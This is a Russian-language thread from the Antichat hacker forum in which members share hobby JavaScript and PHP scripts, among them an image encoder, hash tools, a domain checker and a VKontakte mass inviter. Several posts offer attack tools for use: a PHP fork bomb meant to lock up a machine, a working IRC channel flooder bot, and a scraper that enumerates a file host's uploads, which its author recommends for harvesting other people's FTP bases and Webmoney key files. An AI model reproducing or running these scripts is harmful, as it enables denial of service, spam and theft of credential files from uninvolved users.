Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Скрипты от скуки (https://forum.antichat.xyz/showthread.php?t=57931)

bul.666 09.01.2008 10:36

Скрипты от скуки
 
Выкладываем сюда. Скрипты которые вы мутили от нихеранеделанья... Тоесть всякие веселые скрипты...

Начну:
Сначала методом тыка на картинки рисуем рисунок...
Потом жмем кнопку и он выдает нам код типа:
11111111110000011010000110010001100010011000010110 00001111111111
Вторая часть скрипта преобразует этот "код" обратно в картинку =)

Реализовано на JavaScript.
линк: http://bul666.info/pica/
Исходный код:
Код HTML:

<table width=100% height=100% style="border: 1px solid #000; font-family:tahoma; color: red">
<td align=center >
Генерируем код:
<script>
pole_x = 8;
imgs_p = pole_x * pole_x;
function asd(ident) {
document.images[ident].src='1.bmp';
}
document.write("<table>");
for (i=0;i<pole_x;i++) {
document.write("<tr>");
for (j=0;j<pole_x;j++) {
document.write("<td><img id='x"+i+j+"' src=0.bmp onclick='asd(this.id);'></td>");
}}
document.write("</table><input type=text id=txt size=80><br>");
var speed=0.4;
var q=-1;

alert(loc);
function Count() {
if (q++<63){
line1 = document.images[q].src;
txt.value=txt.value+line1.charAt(24); //Где 24 это положение цифры в URL картинки...
}
setTimeout("Count()",speed);
}
</script>

<input type=button value=Подсчитать OnClick='txt.value="";q=-1;Count()'>
<center>
Преобразуем код в картинку:<br>
<input type=text id='ttt2' size=82>
<br>
<script>
var speed2=0.4;
var w=-1;
function deCount() {
newline = ttt2.value;
if (w++<64){
document.images['z'+w].src=newline.charAt(w)+".bmp";
}
setTimeout("deCount()",speed2);
}
for (d=0;d<64;d++) {
document.write("<img id=z"+d+" src=0.bmp onclick='alert(this.id)'>");
if (d==7 || d==15 || d==23 || d==31 || d==39 || d==47 || d==55 || d==63) {document.write("<br>"); }
}
</script>
<br>
<input type=button value=Преобразовать OnClick='newline="";w=-1;deCount()'>
</td>
</table>


bul.666 09.01.2008 10:42

Вот еще:
http://bul666.info/hz/
При старте указываем размер по вертикали и горизонтали... Скрипт по размерам создаст таблицу с квадратиками, нажимая на квадратик в нем появиться кружочек =)
Исходник:
Код HTML:

<html>
<head>
<title>Test</title>
</head>
<body>
<table width=100% height=100%>
<td align=center>
<script>
pole_x = prompt("Number of sqares","8");
imgs_p = pole_x * pole_x;
function asd(ident) {
for (k=0; k<imgs_p; k++) {
pos.value=ident;
document.images[k].src='0.bmp';
}
document.images[ident].src='1.bmp';
}
document.write("<table>");
for (i=0;i<pole_x;i++) {
document.write("<tr>");
for (j=0;j<pole_x;j++) {
document.write("<td><img id='x"+i+j+"' src=0.bmp onclick='asd(this.id)'></td>");
}}
document.write("</table>");
</script>

Position: <input type=text id=pos size=4 readonly>
</table>
</body>
</html>


.:EnoT:. 09.01.2008 10:44

этот код чем-то похож на светодиоды что в болталке)))

З.Ы. судя по скрипту тебе и правда делать было нечего))))

Щас комп разгребу, выложу пару дебильных скриптов которые я накодил когде мне делать было нечего :)

Ponchik 09.01.2008 10:54

Ааа... Скрипты от скуки, мне сюда :D
Идея навеяна темой https://forum.antichat.ru/thread57280.html
Тама скрипт бегает по слилу от ID и до и собирает ссылки, токо никуда их не сохраняет :(
ВОт делать быле нечего, взял написал... Скрипт бегает по слилу и заносит файлы в базу
slil.ru изменил формат вывода размера, поэтому те кто уже скачал раньше, исправьте скрипт и базу
PHP код:

<?
set_time_limit
(0);
ignore_user_abort(1);

mysql_connect('localhost','root','pass'); #Настройки бд
mysql_select_db('db');

$from mysql_result(mysql_query("SELECT MAX(`id`) FROM slil"),0,0); #Ищим максимальный ID
if (!$from$from 25332371#Если первый запуск скрипта
else $from++;

for (
$i=$from;$i<=50000000;$i++) { # Если есть ограничение, пишем
    
$html file_get_contents("http://zalil.ru/$i"); #Получаем HTML
    
preg_match_all("|<p align=\"center\">\r\n(.*)&nbsp;&nbsp;&nbsp;(.*)<br><br>|si",$html,$out); #Выдераем имя и размер
    
$name $out[1][0]; #Имя
    
$size $out[2][0]; #Размер
    
if(!$name || !$size) { #Если какая-то ошибка, или файл ещё не существует, повторить
        
echo "$i) <b>Repeat</b><br>\r\n";
        
$i--;
    }else{
        echo 
"<a href=\"http://zalil.ru/$i\">$i</a>) <b>$name</b> ($size bytes)<br>\r\n"#Выводим результат в браузер
        
mysql_query("INSERT INTO `slil` VALUES ('$i','$name','$size',NOW())"); #Заносим в БД
    
}
    
flush(); #Выводим в браузер
    
if (file_exists('stop_up')) { #Если есть файл, умереть
        
unlink('stop_up');
        die(
'Script stopped by admin');
    }
}
?>

База:
Код HTML:

CREATE TABLE `slil` (
  `id` int(11) NOT NULL,
  `filename` varchar(255) NOT NULL,
  `size` varchar(10) NOT NULL,
  `date` datetime NOT NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;

Такая штука работает у меня http://ponchik.no-ip.org/ тоже от нечего делать :D

Ах да, если хотим остановить скрипт, создаем в папке с скриптом файл "stop_up" как только он исчезнет, значит скрипт остановился :)

P.S> После обсуждения в мирке, оказалось это оч даже полезная вещ :)))
Можно увести FTP базу http://ponchik.no-ip.org/?filename=ftp или Webmoney даже http://ponchik.no-ip.org/?filename=.kwm :D

Macro 09.01.2008 11:03

PHP код:

<?
while(true){
popen("/usr/bin/php ".$_SERVER['PHP_SELF'],"w");}
?>

Этот скрипт забивает проц и оперативку, причем интересная вещь происходит иногда - кнопки мыши могут поменяться местами, клавиатурные команды исполняться не будут, причем все программы продолжат работать. Диспетчер задач открыть вряд ли выйдет

Conquerstador 09.01.2008 12:34

Цитата:

Сообщение от Macro
PHP код:

<?
while(true){
popen("/usr/bin/php ".$_SERVER['PHP_SELF'],"w");}
?>

Этот скрипт забивает проц и оперативку, причем интересная вещь происходит иногда - кнопки мыши могут поменяться местами, клавиатурные команды исполняться не будут, причем все программы продолжат работать. Диспетчер задач открыть вряд ли выйдет

Это типичная вещь как в бекдоре там тоже можно кнопки мыши махнуть местами)))

Macro 09.01.2008 12:36

Цитата:

Сообщение от Conquerstador
Это типичная вещь как в бекдоре там тоже можно кнопки мыши махнуть местами)))

Не забывай, что это php скрипт, а не бэкдор и данная его фича достигается случайно, а не намеренно, как в бэкдоре

Dr.Z3r0 09.01.2008 13:05

данный скрипт тоже был написанн от скуки на заре начатия изучения PHP выводит в несколько столбцов код символа, сам символ, и его хтмл представление... ну и получаецо сответственно тупая таблица)))) уверен что никому не пригодицо...
PHP код:

<?php
echo("<body bgcolor=#404040>");

function 
start_from(){return 32;}//начальный символ
function count_sumb(){return 256;}//конечный символ
function count_column(){return 10;}//количество столбцов

function echo_line()
{
echo(
"<font color='#FFFFFF'>");
for(
$s=0;$s<count_column();$s++){if($s===0)echo("++");echo(tire()."+-+--------++");}
echo(
"</font>");
echo(
"\n");
}

function 
tire()
{
$str="";
for(
$i=0;$i<strlen(count_sumb()*count_column());$i++)$str.="-";
return 
$str;
}

function 
set($str,$len)
{
if(
strlen($str)<=$len)
{
$add=$len-strlen($str);
for(
$i=0;$i<$add;$i++){$str=$str." ";}
}
return 
$str;
}

echo(
"<pre>\n");
echo_line();
echo_line();
for(
$i=start_from();$i<count_sumb();$i++)
{
    echo(
"<font color='#08FB04'>");
    for(
$s=0;$s<count_column();$s++)
    {
        
$i2=$i+(count_sumb()*$s);
        if(
$s===0)echo("<font color='#FFFFFF'>||</font>");
        echo(
set($i2,strlen(count_sumb()*count_column()))."<font color='#FFFFFF'>|</font>".set(chr($i2),1)."<font color='#FFFFFF'>|</font>".htmlentities(set(htmlentities(chr($i2)),8))."<font color='#FFFFFF'>||</font>");
    }
    echo(
"</font>\n");
    
echo_line();
}
echo_line();
echo(
'</pre>');
echo(
"</body>");
?>


Conquerstador 09.01.2008 13:06

Неоднократный глюк в Windows)))))

Macro 09.01.2008 13:09

Алгоритм генерации хэша с GUI :)

PHP код:

<?php
if(!isset($_POST["pass"])){$a="example password";}else{$a=$_POST["pass"];}
$body="<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"><html><HEAD><META HTTP-EQUIV=Content-Type CONTENT=\"text/html; charset=windows-1251\"><title>MacroHash Algorithm</title></head><br><br><font size='5' color='green'>MacroHash Algorithm</font><br><br><br><center><b>Type below your password:<br></b><br><form method='POST' action=''><input type='text' name='pass' value='$a'><input type='submit'></form></center>";

function 
b2h($bin)
{
$q1='3031323334353637383921402324255e262a28295f3d2d2b2c2e2f5d7b7d3c3e3f27227c6162636465666768696a6b6c6d6e6f707172737475767778797a4142434445464748494a4b4c4d4e4f505152535455565758595a20';
$q2='0123456789!@#$%^&*()_=-+,./]{}<>?\'"|abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ';
$kod='switch($l) {';
for(
$i=0$i<=strlen($q2)-1$i++)
{
if(
substr($q2,$i,1)=="'")
{
$kod.='case \'\\'.substr($q2,$i,1).'\': $u=\''.substr($q1,$i*2,2).'\'; break; ';
}
else
{
$kod.='case \''.substr($q2,$i,1).'\': $u=\''.substr($q1,$i*2,2).'\'; break; ';
}
}

$kod.=' default: $u="00";}';


$u='null';
$decoded='';
for (
$i=0;$i<=strlen($bin)-1;$i++)
{
$l=substr($bin,$i,1);
eval(
$kod);
$decoded.=$u;
}

return 
$decoded;}


function 
summa($in)
{
$sm=0;
for(
$i=0$i<=strlen($in-2); $i+=2)
{
$sm=$sm+hexdec(substr($in,$i,2));
}

$asdf2=explode(".",$sm/3.1415927);

return 
$asdf2[1];
}

function 
hash($string)

{
$b=b2h($string);
$str '';
$c='';


for(
$i=0$i<=strlen($b)-2$i+=2)
{
$x=hexdec(substr($b,$i,2));
$c.=dechex($x+intval(strlen($string)*$x)+summa($b)/$x);
}


if (
strlen($c)<=32
{
$d='';

for(
$i=0strlen($d)<=32$i+=2)
{
$d.=dechex(intval((hexdec(substr($c,$i,2))+strlen($d))*summa($b)*$x));
}
$str=substr($d,strlen($d)-32,32);
}

elseif(
strlen($c)>32)
{
$w='';
$c=substr($c,strlen($c)-5);
for(
$i=0strlen($w)<=32$i+=2)
{
$w.=dechex(intval((hexdec(substr($c,$i,2))+strlen($w))*summa($b)*$x));
}
$str=substr($w,0,32);
}
return 
$str;
}

if (empty(
$_POST["pass"])) 
{

print(
"<title>MacroHash Algorithm</title>".$body);

elseif(isset(
$_POST["pass"])) 
{
$a=$_POST["pass"];
$a1="";

print(
$body."<p><b>Password</b>: ".$a."<br><b>Hash:</b> ".hash($a)."</p>");
}
print(
"</html>");
?>


Dr.Z3r0 09.01.2008 13:11

ах да забыл вот еще бесполезный скрипт... писался когда нача изучать регулярки...
определяет тип хеша...
PHP код:

<?php
$hash
=array(array('md3, md4 hmac, md5, md5 hmac, ripmed 128, NTHash, LM, MacroHash','/^[a-zA-Z0-9]{32}$/'),
            array(
'md4 base64, md5 base64,','/^[a-zA-Z0-9\/\+]{22}\=\=[a-zA-Z0-9\/]{3}\=$/'),
            array(
'md5 Unix,','/^\$\d\$[\D\d]*\$[a-zA-Z0-9\.\/]{22}$/'),
            array(
'md5 APR,','/^\$apr1\$[\D\d]*\$[a-zA-Z0-9\.\/]{22}$/'),
            array(
'mysql,','/^[a-zA-Z0-9]{16}$/'),
            array(
'sha-1 base64,','/^[a-zA-Z0-9\/\+\=]{28}$/'),
            array(
'mysql5, sha-1, sha-1 hmac, ripmed 160,','/^[a-zA-Z0-9]{40}$/'),
            array(
'sha-256, ГОСТ Р34.11-94, ripmed 256,','/^[a-zA-Z0-9]{64}$/'),
            array(
'ripmed 320,','/^[a-zA-Z0-9]{80}$/'),
            array(
'sha-384,','/^[a-zA-Z0-9]{98}$/'),
            array(
'crc16, crc16-ccitt,','/^[a-zA-Z0-9]{4}$/'),
            array(
'crc32, crc32b, GHash-32, Adler32','/^[a-zA-Z0-9]{8}$/'),
            array(
'sha-512,','/^[a-zA-Z0-9]{128}$/'));
if(!empty(
$_POST['hash1'])){
    
$hashstr='';
    for(
$i=0;$i<count($hash);$i++){
        if(
preg_match($hash[$i]['1'],$_POST['hash1']))$hashstr.=$hash[$i]['0'];
    }
    if(!empty(
$hashstr))echo('Это похоже на '.$hashstr.' <hr>');
    else echo(
'Это что то хитрое o_O<hr>');
}
echo(
'<form method="post">
<input type="text" name="hash1" value=""><input type="submit" value="прочекать">
</form>'
);
?>


Macro 09.01.2008 13:14

Ноль, гг мой хэш(полученный с помощью предыдущего скрипта) определится как md5 =)

Dr.Z3r0 09.01.2008 13:18

Цитата:

Сообщение от Macro
Ноль, гг мой хэш(полученный с помощью предыдущего скрипта) определится как md5 =)

гг я твой хеш добавил :)

bul.666 09.01.2008 15:47

Я знал, что я не один =)

NNNS 09.01.2008 21:14

Первое, что написал при знакомстве с GD.
Информер Башорга. Выдает последнюю цитату на башорге. Статистику апрувов.
Скрипт нереально тормозной :D
Пример работы:
http://cvaclan.com/bo/informer.gif

_http://cvaclan.com/bo/bor.rar

AFoST 09.01.2008 21:29

Код:

<?
##################################
#  ############################  #
#    ## SImple irc flooder ##    #
#    #### Coded by FoST. ####    #
#    ## Only for testing.. ##    #
#  ############################  #
##################################

###########################################################
#######                                FUNCTIONS                      #######
###########################################################

    function socket_create_connect($server,$srvport){

        //creating socket
        //_______________
        if(!$sock=socket_create(AF_INET, SOCK_STREAM, SOL_TCP))
                die("Error creating socket!\r\n");


        //connecting to socket...
        //_______________
        if(!$result=socket_connect($sock,$server,$srvport))
                die("Error socket connecting!\r\n");

        return $sock;
        }

        function irc_connect($socket_,$nick_,$name_,$ident_,$channel_){

                $str="NICK ".$nick_."\r\n";
                socket_write($socket_,$str,strlen($str));
                echo "------->  ".$str;

                $str="USER ".$ident_." 8 * : ".$name_."\r\n";
                socket_write($socket_,$str,strlen($str));
                  echo "------->  ".$str;

                $str="JOIN ".$channel_." \r\n";
                socket_write($socket_,$str,strlen($str));
                echo "------->  ".$str;

                $str="PRIVMSG ".$channel_." : Hello all!!! =)\r\n";
                socket_write($socket_,$str,strlen($str));
                echo "------->  ".$str;

        }

        function flood($socket_,$channel_){
                while(true){
                        $flood_str="PRIVMSG ".$channel_." : ".(rand(-65536,65536)+rand(-65536,65536))."\r\n";
                        socket_write($socket_,$flood_str,strlen($flood_str));
                        sleep(2);
                        }
        }

###########################################################
#######                                  MAIN CODE                    #######
###########################################################

if ($argv[4]){
        $server= $argv[1]; #server adress
        $port= $argv[2]; #server port
        $channel= $argv[3]; #irc channel
        $nick= $argv[4]; #nick

        $ident="noname"; #ident
        $name="noname"; #bot name (during whois)
        $flooding=false;
        } else
                die("\r\n".
                        "Usage:\r\n".
                        "server port #channel Your_nick\r\n".
                        "Example: irc.somehost.ru #MyChannel 6667 NoName\r\n");

        //creating socket, connecting to server and connecting to irc...
        //______________
        $socket=socket_create_connect($server,$port);
    irc_connect($socket,$nick,$name,$ident,$channel);

        while ($body = socket_read($socket,128)) {

                echo convert_cyr_string($body,"w","a");

                if (preg_match("/^PING(.*)$/i",$body,$matches)) {
                        $PONG="PONG $1\r\n";
                        echo $PONG;
                        socket_write($socket,$PONG,strlen($PONG));
                        }

                #quit bot
                if (preg_match("/[^.]!quit/",$body,$matches)){
                        socket_write($socket,"QUIT\r\n",strlen("QUIT\r\n"));
                        }

                #start flooding
                if (preg_match("/[^.]!flood/",$body,$matches)){
                        $flooding=true;
                        }

                #stop flooding
                if (preg_match("/[^.]!stopflood/",$body,$matches)){
                        $flooding=false;
                        }

                if ($flooding){
                        flood($socket,$channel);
                        }

                }
?>

Вот такой вот кривой php-irc-фудер %) Писал, когда разбирался с сокетами :)

demonoid 09.01.2008 22:02

Цитата:

Сообщение от I-I()/Ib
.......
$hash=array(array('md3, md4 hmac, md5, md5 hmac, ripmed 128, NTHash, LM, MacroHash','/^[a-zA-Z0-9]{32}$/'),....

Зачем такой большой диапазон?
для md5 :
Код:

a-fA-F0-9
да и не только для md5 :)

D0S 10.01.2008 01:06

Цитата:

Сообщение от Ponchik
Ааа... Скрипты от скуки, мне сюда :D
Идея навеяна темой https://forum.antichat.ru/thread57280.html
Тама скрипт бегает по слилу от ID и до и собирает ссылки, токо никуда их не сохраняет :(
ВОт делать быле нечего, взял написал... Скрипт бегает по слилу и заносит файлы в базу
slil.ru изменил формат вывода размера, поэтому те кто уже скачал раньше, исправьте скрипт и базу

мля зациклился на каком то файле, Repeat и так бесконечно :( 3053 записей в бд всего (

Gener 10.01.2008 01:33

статуса Icq-пользователя
 
Скрипт определения статуса Icq-пользователя - не мой)может кому пригодится-)

Вообщет ICQ статус в самом простейшем варианте можно вывести на страницу с пом предоставленной мирабилисами картинки
PHP код:

http://status.icq.com/online.gif?icq=NNNNNN&img=N 

, где NNNNNN - номер аськи, а N - вариант картинки (от 0 до 25)

В этом скрипте, можно запихать собственную картинку:)
PHP код:

<?php
    
function IcqStatus($icq){
  global 
$g_icq_list;
  if (isset(
$g_icq_list[$icq])) return $g_icq_list[$icq];
  
$port 80;
  
$host "status.icq.com";
  
$path "/online.gif?icq=".$icq;
  
$timeout 1;

  
$response "";
  
$fp fsockopen($host$port$errno$errstr$timeout);
  if(
$fp){
      
fputs($fp"GET $path HTTP/1.1\r\n");
      
fputs($fp"Host: $host\r\n");
      
fputs($fp"User-Agent: Internet Explorer 5.0/1.0\r\n");
      
fputs($fp"Content-type: application/x-www-form-urlencoded\r\n");
      
fputs($fp"Connection: close\r\n\r\n");
      
      while(!
feof($fp) && strpos($response"Location:")=== false)
    
$response fgets($fp4096);
      
fclose($fp);
  }
  
$g_icq_list[$icq] = (strpos($response"online1.gif")!== false);
  return 
$g_icq_list[$icq];
    }
?>

(С) Vic'er

FeraS 10.01.2008 01:44

Gener
Тут не чужие, тут свои надо

Gener 10.01.2008 01:49

ок) просто под рукой попался... думаю может кому надо!
свои обязательно выложу... будет время, сейчас просто занят над одним делом!!!

-Hormold- 12.01.2008 01:00

PHP код:

<?
function keys($url){
$openn=file_get_contents($url);
preg_match_all'/words" content=(.*)>/iUs' $openn,$key); 
sleep(1);
$key[0][0] = str_replace('words" content='""$key[0][0]);
$key[0][0] = str_replace('"'""$key[0][0]);
$key[0][0] = str_replace('>'""$key[0][0]);
$key[0][0] = str_replace('/'""$key[0][0]);
$fp=fopen("base.txt","ab");
fwrite($fp,$url."=".$key[0][0].'\n');
fclose($fp);

}
keys("http://mail.ru/");
?>

Скрипт выдерает из страницы ключевые слова в мета. И сохраняет их в базе...
Могли бы переделать точно также только урл ссылки выдерает...

NNNS 12.01.2008 10:11

Скрипт чекает короткие домены в зонах .ru, .su

http://i007.radikal.ru/0801/f4/47c74ae0d293t.jpg

PHP код:

<?
error_reporting  
(0);
set_time_limit   (0);
#-------------------------------------*
#        short domain checker
#        by NNNS {icq: 474374}
#-------------------------------------*
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>short domain checker by NNNS</title>
<style type="text/css">
<!--
body,td,th {
}
.titler {
    font-family: Georgia, "Times New Roman", Times, serif;
    font-size: 24px;
    color: #666666;
    border-bottom-width: 1px;
    border-bottom-style: dashed;
    border-bottom-color: #3399FF;
}
.error {
    font-family: Arial, Helvetica, sans-serif;
    font-size: 12px;
    color: #B0B0B0;
    border-bottom-width: 1px;
    border-bottom-style: dashed;
    border-bottom-color: #E25053;
    text-align: center;
}
.titler:hover {
    color: #3399FF;
    border-bottom-color: #666666;
}
.edit {
    font-family: Georgia, "Times New Roman", Times, serif;
    font-size: 12px;
    color: #3399FF;
    border: 1px solid #E8E8E8;
    height: 16px;
    width: 50px;
    text-align: center;
    margin-right: 2px;
}
.true {
    font-size: 12px;
    color: #9ABB26;
    font-family: Arial, Helvetica, sans-serif;
}
.text {
    font-family: Georgia, "Times New Roman", Times, serif;
    color: #B0B0B0;
    font-size: 12px;
}
.buttoncheg {
    font-family: Georgia, "Times New Roman", Times, serif;
    font-size: 12px;
    color: #B0B0B0;
    border: 1px solid #E8E8E8;
    background-color: #FFFFFF;
    height: 20px;
    width: 50px;
}
.false {
    font-size: 12px;
    color: #CC090E;
    font-family: Arial, Helvetica, sans-serif;
}
.tables {
    font-family: Arial, Helvetica, sans-serif;
    font-size: 12px;
    border-bottom-width: 1px;
    border-bottom-style: solid;
    border-bottom-color: #ECF5FF;
}
.text2 {
    font-family: Arial, Helvetica, sans-serif;
    color: #B0B0B0;
    font-size: 12px;
}
.text3 {
    font-family: Arial, Helvetica, sans-serif;
    color: #3399FF;
    font-size: 12px;
}
.selecte {
    font-family: Georgia, "Times New Roman", Times, serif;
    font-size: 10px;
    color: #3399FF;
    border: 1px solid #E8E8E8;
    height: 18px;
    width: 100px;
    text-align: center;
    margin-right: 2px;
}
.edit2 {
    font-family: Georgia, "Times New Roman", Times, serif;
    font-size: 12px;
    color: #3399FF;
    border: 1px solid #E8E8E8;
    height: 16px;
    width: 75px;
    text-align: center;
    margin-right: 2px;
}
.selecte2 {
    font-family: Georgia, "Times New Roman", Times, serif;
    font-size: 10px;
    color: #3399FF;
    border: 1px solid #E8E8E8;
    height: 18px;
    width: 40px;
    text-align: center;
    margin-right: 2px;
}
-->
</style>
</head>
<body><form method="post" action="">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td align="center" valign="middle"><span class="titler">short domain checker</span><br />
      <br />    </td>
  </tr>
  <tr>
    <td align="center" valign="middle"><table border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td valign="middle"><span class="text">Длина домена</span>&nbsp;</td>
        <td width="50" valign="middle"><input name="number" type="text" class="edit" id="number" value="<?=$number;?>" /></td>
        <td valign="middle"><span class="text">&nbsp;Количество доменов&nbsp;</span></td>
        <td width="50" valign="middle"><input name="domain_nums" type="text" class="edit" id="domain_nums" value="<?=$domain_nums;?>" /></td>
        <td valign="middle" class="text">Тип домена </td>
        <td valign="middle"><select name="domtype" class="selecte">
          <option value="1">Только буквы</option>
          <option value="2">Только цифры</option>
          <option value="0">Буквы и цифры</option>
        </select>        </td>
        <td valign="middle" class="text">Зона</td>
        <td valign="middle">
          <select name="zone" id="zone" class="selecte2">
            <option value="1">.ru</option>
            <option value="2">.su</option>
          </select>
        </label></td>
        <td width="50" valign="middle"><input name="submit" type="submit" class="buttoncheg" id="submit" value="Check" /></td>
      </tr>
    </table>
      <br /></td>
    </tr>
</table>
</form>
<?php

$number 
intval($_POST['number']);          
$domain_nums intval($_POST['domain_nums']);
$domtype intval($_POST['domtype']);
$zone intval($_POST['zone']);

if (
$zone == '1') {$zone ".ru";}
if (
$zone == '2') {$zone ".su";}
$whois "whois.ripn.ru";                   
$not_found "No entries found";    

if (
$number == '') {$number 5;}
if (
$number '0') {$number 5;}
if (
$number == '2') {$number 3;}
if (
$number 20) {$number 20;}  

if (
$domain_nums == '') {$domain_nums 3;}
if (
$domain_nums '0') {$domain_nums 3;}       

function 
generate_domain($number$type)  
{  
    if (
$type == '0') {
    
$arr = array(
    
'a','b','c','d','e','f',  
    
'g','h','i','j','k','l',  
    
'm','n','o','p','r','s',  
    
't','u','v','x','y','z',  
    
'1','2','3','4','5','6',  
    
'7','8','9','0');  
    }
    if (
$type == '1') {
    
$arr = array(
    
'a','b','c','d','e','f',  
    
'g','h','i','j','k','l',  
    
'm','n','o','p','r','s',  
    
't','u','v','x','y','z');  
    }
    if (
$type == '2') {
    
$arr = array(
    
'1','2','3','4',
    
'5','6','7','8',
    
'9','0');  
    }
    for(
$i 0$i $number$i++)  
    {   
        
$index rand(0count($arr) - 1);  
        
$dom .= $arr[$index];  
    }  
    return 
$dom;  
}

if(
$_POST['submit'])
{
    echo 
"<center><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" class=\"tables\">
                <tr>
              <td width=\"100\" valign=\"middle\" class=\"text2\">Домен</td>
                 <td width=\"70\" valign=\"middle\" class=\"text3\">Годен до</td>
              <td width=\"150\" valign=\"middle\" class=\"text2\">Хост</td>
              <td width=\"70\" valign=\"middle\" class=\"text3\">Статус</td>
               </tr>
              </table></center>"
;
    for(
$i 0$i $domain_nums$i++)  
    {      
        
$domain generate_domain($number,$domtype);
        
$domain $domain.$zone;
        
$fp fsockopen($whois43);
        
fputs($fp"$domain\r\n");
        
$str "";
        while(!
feof($fp))            
        {
            
$str .= fgets($fp,128);        
        }
        
fclose($fp);
        if(
preg_match("/Please try to connect later/is",$str)) 
        {
            die(
"<br><center><span class =\"error\" >Превышен лимит запросов к ".$whois." :(</span></center></body></html>");
        }
        
        if(!
preg_match("/".$not_found."/is"$str))
        {
            
preg_match("/paid-till:(.*?)\\n/is"$str$edate);
            
preg_match("/nserver:(.*?)\\n/is"$str$serv);
            
$edate  $edate[1];
            
$serv   str_replace("ns.""",$serv[1]);     
            
$serv   str_replace("ns1.""",$serv);
            
$serv   str_replace("ns2.""",$serv);    
            
$serv   str_replace("ns3.""",$serv);
            
$serv   str_replace("ns4.""",$serv);
            
$serv   str_replace("ns0.""",$serv);
            
$status "<span class =\"false\">Занят</span><br>";
        }
        else
        {
            
$edate  " - ";
            
$serv   " - ";
            
$status "<span class =\"true\">Свободен</span><br>";
        }
        echo 
"<center><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" class=\"tables\">
                <tr>
              <td width=\"100\" valign=\"middle\" class=\"text2\">
$domain</td>
                 <td width=\"70\" valign=\"middle\" class=\"text3\">
$edate</td>
              <td width=\"150\" valign=\"middle\" class=\"text2\">
$serv</td>
              <td width=\"70\" valign=\"middle\">
$status</td>
               </tr>
              </table></center>"
;
        
ob_flush();
        
flush();        
    }
}
?>
</body>
</html>


NNNS 18.01.2008 08:34

Приглашалка в группу (ВКонтакте.ру)

http://i042.radikal.ru/0801/6b/ed13010aa554t.jpg

PHP код:

<?
#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
#&   Vkontakte.ru group inviter
#&     By NNNS {icq: 474374}
#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

error_reporting(0);
set_time_limit(0);
# Всякие переменные
$user_agent "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11";

$begin intval($_POST['begin']);
$end intval($_POST['end']);
$gid intval($_POST['gid']);
$email strip_tags($_POST['email'], "");
$pass strip_tags($_POST['pass'], "");

if(
$begin == '') {$begin "0";}
if(
$end == '') {$end "0";}
if(
$gid == '') {$gid "0";}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>ВКонтакте инвайтер (С) NNNS</title>
<style type="text/css">
<!--
.tablichko {
    font-family: Arial, Helvetica, sans-serif;
    background-color: #F7FCFD;
    border-top-width: 1px;
    border-bottom-width: 1px;
    border-top-style: solid;
    border-bottom-style: solid;
    border-top-color: #E0F3F8;
    border-bottom-color: #E0F3F8;
    height: 100px;
}
.tit {
    font-family: Georgia, "Times New Roman", Times, serif;
    font-size: 24px;
    color: #1C6679;
}
.comment {
    font-family: Arial, Helvetica, sans-serif;
    font-size: 10px;
    color: #289AB7;
}
.inputko {
    font-size: 12px;
    color: #289AB7;
    height: 16px;
    text-align: center;
    border-top-width: 1px;
    border-left-width: 1px;
    border-top-style: solid;
    border-right-style: none;
    border-bottom-style: solid;
    border-left-style: solid;
    border-top-color: #E0F3F8;
    border-left-color: #E0F3F8;
    border-bottom-width: 1px;
    border-bottom-color: #E0F3F8;
}
.inputko:focus {
    background-color: #E8F5F9;
}
.inputko2:focus {
    background-color: #E8F5F9;
}
.inputko3:focus {
    background-color: #FFF;
}
.buttoncheg {
    color: #FFFFFF;
    background-color: #1C6679;
    border: 1px solid #E0F3F8;
    height: 20px;
    font-size: 12px;
    width: 80px;
}
.inputko2 {
    font-size: 12px;
    color: #289AB7;
    height: 16px;
    text-align: center;
    border-top-width: 1px;
    border-top-style: solid;
    border-right-style: solid;
    border-bottom-style: solid;
    border-left-style: none;
    border-top-color: #E0F3F8;
    border-bottom-width: 1px;
    border-bottom-color: #E0F3F8;
    border-right-width: 1px;
    border-right-color: #E0F3F8;
}
.inputko3 {
    font-size: 12px;
    color: #289AB7;
    height: 16px;
    text-align: center;
    width: 78px;
    border-right-width: 1px;
    border-bottom-width: 1px;
    border-left-width: 1px;
    border-top-style: none;
    border-right-style: solid;
    border-bottom-style: solid;
    border-left-style: solid;
    border-right-color: #E0F3F8;
    border-bottom-color: #E0F3F8;
    border-left-color: #E0F3F8;
    background-color: #F7FCFD;
}
.vtab {
    color: #48BAD7;
    border-bottom-width: 1px;
    border-bottom-style: solid;
    border-bottom-color: #DFF3F9;
    font-size: 12px;
    font-family: Arial, Helvetica, sans-serif;
}
-->
</style>
</head>
<body>
<form method="post" action="">
<table width="100%" border="0" cellpadding="0" cellspacing="0" class="tablichko">
  <tr>
    <td align="center" valign="middle"><span class="tit">      ВКонтакте инвайтер<br />
    </span>
      <table border="0" cellpadding="0" cellspacing="0">
    <tr>
      <td colspan="2" align="center" valign="middle" bgcolor="#FDFFFF" class="comment">Диапазон пользователей (с/до) </td>
      <td valign="top">&nbsp;</td>
      <td width="100" align="center" valign="middle" bgcolor="#FDFFFF" class="comment">email  </td>
      <td width="100" align="center" valign="middle" bgcolor="#FDFFFF" class="comment">пароль</td>
    </tr>
    <tr>
      <td valign="top"><input name="begin" type="text" class="inputko" id="begin" value="<?=$begin;?>" /></td>
